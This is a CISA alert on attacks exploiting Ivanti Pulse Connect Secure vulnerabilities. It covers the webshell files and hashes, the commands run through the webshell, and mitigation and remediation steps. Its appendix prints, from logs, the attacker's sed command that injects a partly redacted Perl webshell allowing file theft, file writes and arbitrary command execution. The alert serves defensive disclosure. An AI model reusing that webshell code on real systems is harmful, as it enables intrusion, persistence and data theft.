An official website of the United States government Here's how you know

Alert (AA21-110A)

More Alerts

Exploitation of Pulse Connect Secure Vulnerabilities

Original release date: April 20, 2021 | Last revised: April 22, 2021

Print Tweet Send Share

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises affecting U.S. government agencies, critical infrastructure entities, and other private sector organizations by a cyber threat actor—or actors—beginning in June 2020 or earlier related to vulnerabilities in certain Ivanti Pulse Connect Secure products. Since March 31, 2021, CISA assisted multiple entities whose vulnerable Pulse Connect Secure products have been exploited by a cyber threat actor. These entities confirmed the malicious activity after running the Pulse Secure Connect Integrity Tool. To gain initial access, the threat actor is leveraging multiple vulnerabilities, including CVE-2019-11510, CVE-2020-8260, CVE-2020-8243, and the newly disclosed CVE-2021-22893. The threat actor is using this access to place webshells on the Pulse Connect Secure appliance for further access and persistence. The known webshells allow for a variety of functions, including authentication bypass, multi-factor authentication bypass, password logging, and persistence through patching.

Ivanti has provided a mitigation and is developing a patch. CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to immediately run the Pulse Secure Connect Integrity Tool, update to the latest software version, and investigate for malicious activity.

Technical Details

On March 31, 2021, Ivanti released the Pulse Secure Connect Integrity Tool to detect the integrity of Pulse Connect Secure appliances. Their technical bulletin states:

> *We are aware of reports that a limited number of customers have identified unusual activity on their Pulse Connect Secure (PCS) appliances. The investigation to date shows ongoing attempts to exploit vulnerabilities outlined in two security advisories that were patched in 2019 and 2020 to address previously known issues: Security Advisory SA44101 (CVE-2019-11510) and Security Advisory SA44601 (CVE- 2020- 8260). For more information visit KB44764 (Customer FAQ).*

The suspected cyber threat actor modified several legitimate Pulse Secure files on the impacted Pulse Connect Secure appliances. The modifications implemented a variety of webshell functionality:

- `DSUpgrade.pm MD5 : 4d5b410e1756072a701dfd3722951907`
  - Runs arbitrary commands passed to it
  - Copies malicious code into `Licenseserverproto.cgi`
- `Licenseserverproto.cgi MD5 : 9b526db005ee8075912ca6572d69a5d6`
  - Copies malicious logic to the new files during the patching process, allowing for persistence
- `Secid_canceltoken.cgi MD5 : f2beca612db26d771fe6ed7a87f48a5a`
  - Runs arbitrary commands passed via `HTTP` requests
- `compcheckresult.cgi MD5 : ca0175d86049fa7c796ea06b413857a3`
  - Publicly-facing page to send arbitrary commands with `ID` argument
- `Login.cgi MD5 : 56e2a1566c7989612320f4ef1669e7d5`
  - Allows for credential harvesting of authenticated users
- `Healthcheck.cgi MD5: 8c291ad2d50f3845788bc11b2f603b4a`
  - Runs arbitrary commands passed via `HTTP` requests

Many of the threat actor's early actions are logged in the Unauthenticated Requests Log as seen in the following format, URIs have been redacted to minimize access to webshells that may still be active:

```
Unauthenticated request url /dana-na/[redacted URI]?id=cat%20/home/webserver/htdocs/dana-na/[redacted URI] came from IP XX.XX.XX.XX.
```

The threat actor then ran the commands listed in table 1 via the webshell.

Table 1: Commands run via webshell

Time	Command
2021-01-19T07:46:05.000+0000	`pwd`
2021-01-19T07:46:24.000+0000	`cat%20/home/webserver/htdocs/dana-na/[redacted]`
2021-01-19T08:10:13.000+0000	`cat%20/home/webserver/htdocs/dana-na/l[redacted]`
2021-01-19T08:14:18.000+0000	See Appendix.
2021-01-19T08:15:11.000+0000	`cat%20/home/webserver/htdocs/dana-na/[redacted]`
2021-01-19T08:15:49.000+0000	`cat%20/home/webserver/htdocs/dana-na/[redacted]`
2021-01-19T09:03:05.000+0000	`cat%20/home/webserver/htdocs/dana-na/[redacted]`
2021-01-19T09:04:47.000+0000	`$mount`
2021-01-19T09:05:13.000+0000	`/bin/mount%20-o%20remount,rw%20/dev/root%20/`
2021-01-19T09:07:10.000+0000	`$mount`

The cyber threat actor is using exploited devices located on residential IP space—including publicly facing Network Attached Storage (NAS) devices and small home business routers from multiple vendors—to proxy their connection to interact with the webshells they placed on these devices. These devices, which the threat actor is using to proxy the connection, correlate with the country of the victim and allow the actor activity to blend in with normal telework user activity.

Details about lateral movement and post-exploitation are still unknown at this time. CISA will update this alert as this information becomes available.

Mitigations

CISA strongly urges organizations using Pulse Secure devices to immediately:

- Review the Pulse Secure Connect Integrity Tool Quick Start Guide and Customer FAQs
- Run the Pulse Secure Connect Integrity Tool .
  - The tool requires a reboot.
  - If virtualized, take a snapshot before running.
  - If the appliance is physical, consider the consequences of rebooting and running the tool and contact Ivanti for assistance or questions.
  - Continue to run the tool daily until the XML mitigations have been implemented or the patch has been deployed.
- Implement the mitigations released by the vendor. According Ivanti Pulse Secure, the interim XML configurations listed in the "Workaround" section of SA44784 - 2021-04: Out-of-Cycle Advisory: Pulse Connect Secure RCE Vulnerability (CVE-2021-22893) provide significant protection against threat actor activity.
- Update to the latest software version, per the process outlined on Ivanti Pulse Secure's website which contains security enhancements.

If the Integrity Checker Tools finds mismatched or unauthorized files, CISA urges organizations to:

- Contact CISA to report your findings (see Contact Information section below).
- Contact Ivanti Pulse Secure for assistance in capturing forensic information.
- Review "Unauthenticated Web Requests" log for evidence of exploitation, if enabled.
- Change all passwords associated with accounts passing through the Pulse Secure environment (including user accounts, service accounts, administrative accounts and any accounts that could be modified by any account described above, all of these accounts should be assumed to be compromised). **Note:** Unless an exhaustive password reset occurs, factory resetting a Pulse Connect Secure appliance (see Step 3 below) will only remove malicious code from the device, and may not remove the threat actor from the environment. The threat actor may use the credentials harvested to regain access even after the appliance is fully patched.
- Review logs for any unauthorized authentications originating from the Pulse Connect Secure appliance IP address or the DHCP lease range of the Pulse Connect Secure appliance's VPN lease pool.
- Look for unauthorized applications and scheduled tasks in their environment.
- Ensure no new administrators were created or non-privileged users were added to privileged groups.
- Remove any remote access programs not approved by the organization.
- Carefully inspect scheduled tasks for scripts or executables that may allow a threat actor to connect to an environment.

In addition to the recommendations above, organizations that find evidence of malicious, suspicious, or anomalous activity or files, should consider the guidance in KB44764 - Customer FAQ: PCS Security Integrity Tool Enhancements , which includes:

After preservation, you can remediate your Pulse Connect Secure appliance by:

1. Disabling the external-facing interface.
2. Saving the system and user config.
3. Performing a factory reset via the Serial Console. **Note:** For more information refer to KB22964 (How to reset a PCS device to the factory default setting via the serial console)
4. Updating the appliance to the newest version.
5. Re-importing the saved config.
6. Re-enabling the external interface.

CISA recommends performing checks to ensure any infection is remediated, even if the workstation or host has been reimaged. These checks should include running the Pulse Secure Connect Integrity Tool again after remediation has been taken place.

Contact Information

CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at

- 1-888-282-0870 (From outside the United States: +1-703-235-8832)
- central@cisa.dhs.gov (UNCLASS)
- us-cert@dhs.sgov.gov (SIPRNET)
- us-cert@dhs.ic.gov (JWICS)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA/US-CERT homepage at http://www.us-cert.cisa.gov/.

Appendix: Large sed Command Found In Unauthenticated Logs

```
Unauthenticated request url /dana-na/[redacted]?id=sed%20-
i%20%22/main();/cuse%20MIME::Base64;use%20Crypt::RC4;my%20[redacted];sub%20r{my%20\$n=\$_[0];my%20\$rs;for%20(my%20\$i=0;\$i%3C\$n;\$i++)
{my%20\$n1=int(rand(256));\$rs.=chr(\$n1);}return%20\$rs;}sub%20a{my%20\$st=\$_[0];my%20\$k=r([redacted]);my%20\$en%20=%20RC4(%20\$k.\$ph,%20\$st);return%20encode_base64(\$k.\$en);}sub%20b{my%20\$s=%20decode_base64(\$_[0]);%20my%20\$l=length(\$s);my%20\$k=%20substr(\$s,0,
[redacted]);my%20\$en=substr(\$s,[redacted],\$l-
[redacted]);my%20\$de%20=%20RC4(%20\$k.\$ph,%20\$en%20);return%20\$de;}sub%20c{my%20\$fi=CGI::param(%27img%27);my%20\$FN=b(\$fi);my%20\$fd;print%20\%22Content-
type:%20application/x-download\\n\%22;open(*FILE,%20\%22%3C\$FN\%22%20);while(%3CFILE%3E)
{\$fd=\$fd.\$_;}close(*FILE);print%20\%22Content-
Disposition:%20attachment;%20filename=tmp\\n\\n\%22;print%20a(\$fd);}sub%20d{print%20\%22Cache-Control:%20no-
cache\\n\%22;print%20\%22Content-
type:%20text/html\\n\\n\%22;my%20\$fi%20=%20CGI::param(%27cert%27);\$fi=b(\$fi);my%20\$pa=CGI::param(%27md5%27);\$pa=b(\$pa);open%20(*outfile,%20\%22%3E\$pa\%22);print%20outfile%20\$fi;close%20(*outfile);}sub%20e{print%20\%22Cache-
Control:%20no-cache\\n\%22;print%20\%22Content-
type:%20image/gif\\n\\n\%22;my%20\$na=CGI::param(%27name%27);\$na=b(\$na);my%20\$rt;if%20(!\$na%20or%20\$na%20eq%20\%22cd\%22)%20{\$rt=\%22Error%20404\%22;}else%20{my%20\$ot=\%22/tmp/1\%22;system(\%22\$na%20%3E/tmp/1%202%3E&1\%22);open(*cmd_result,\%22%3C\$ot\%22);while(%3Ccmd_result%3E)
{\$rt=\$rt.\$_;}close(*cmd_result);unlink%20\$ot}%20%20print%20a(\$rt);}sub%20f{if(CGI::param(%27cert%27))
{d();}elsif(CGI::param(%27img%27)%20and%20CGI::param(%27name%27))
{c();}elsif(CGI::param(%27name%27)%20and%20CGI::param(%27img%27)%20eq%20\%22\%22)
{e();}else{%20%20%20&main();}}if%20(\$ENV{%27REQUEST_METHOD%27}%20eq%20\%22POST\%22)
{%20%20f();}else{&main();%20}%22%20/home/webserver/htdocs/dana-na/[redacted] came from IP XX.XX.XX.XX
```

References

FireEye blog: Check Your Pulse: Suspected APT Actors Leverage Authentication By…
CERT/CC Vulnerability Note VU#213092 Pulse Connect Secure vulnerable to authent…

Revisions

April 20, 2021: Initial version
April 21, 2021: Added CERT/CC Vulnerability Note to References

This product is provided subject to this Notification and this Privacy & Use policy.

Please share your thoughts.

We recently updated our anonymous product survey; we'd welcome your feedback.